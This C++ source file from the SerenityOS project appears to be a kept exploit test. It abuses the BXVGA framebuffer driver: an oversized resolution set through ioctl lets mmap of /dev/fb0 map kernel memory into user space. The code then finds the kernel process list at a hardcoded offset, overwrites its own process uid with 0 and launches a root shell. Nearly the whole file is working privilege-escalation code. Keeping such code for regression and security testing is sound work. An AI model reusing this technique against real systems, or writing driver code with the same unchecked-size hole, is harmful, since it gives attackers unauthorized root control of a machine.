bxvga-mmap-kernel-into-userspace.cpp 2.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798
  1. /*
  2. * Copyright (c) 2018-2020, the SerenityOS developers.
  3. *
  4. * SPDX-License-Identifier: BSD-2-Clause
  5. */
  6. #include <AK/Types.h>
  7. #include <fcntl.h>
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <sys/ioctl.h>
  11. #include <sys/mman.h>
  12. #include <unistd.h>
  13. int main()
  14. {
  15. int fd = open("/dev/fb0", O_RDWR);
  16. if (fd < 0) {
  17. perror("open");
  18. return 1;
  19. }
  20. size_t width = 17825;
  21. size_t height = 1000;
  22. size_t pitch = width * 4;
  23. size_t framebuffer_size_in_bytes = pitch * height * 2;
  24. FBResolution original_resolution;
  25. if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
  26. perror("ioctl");
  27. return 1;
  28. }
  29. FBResolution resolution;
  30. resolution.width = width;
  31. resolution.height = height;
  32. resolution.pitch = pitch;
  33. if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
  34. perror("ioctl");
  35. return 1;
  36. }
  37. auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
  38. if (ptr == MAP_FAILED) {
  39. perror("mmap");
  40. return 1;
  41. }
  42. printf("Success! Evil pointer: %p\n", ptr);
  43. u8* base = &ptr[128 * MiB];
  44. uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
  45. printf("base = %p\n", base);
  46. printf("g_processes = %p\n", (void*)g_processes);
  47. auto get_ptr = [&](uintptr_t value) -> void* {
  48. value -= 0xc0000000;
  49. return (void*)&base[value];
  50. };
  51. struct ProcessList {
  52. uintptr_t head;
  53. uintptr_t tail;
  54. };
  55. struct Process {
  56. // 32 next
  57. // 40 pid
  58. // 44 uid
  59. u8 dummy[32];
  60. uintptr_t next;
  61. u8 dummy2[4];
  62. pid_t pid;
  63. uid_t uid;
  64. };
  65. ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
  66. Process* process = (Process*)get_ptr(process_list->head);
  67. printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
  68. if (process->pid == getpid()) {
  69. printf("That's me! Let's become r00t!\n");
  70. process->uid = 0;
  71. }
  72. if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
  73. perror("ioctl");
  74. return 1;
  75. }
  76. execl("/bin/sh", "sh", nullptr);
  77. return 0;
  78. }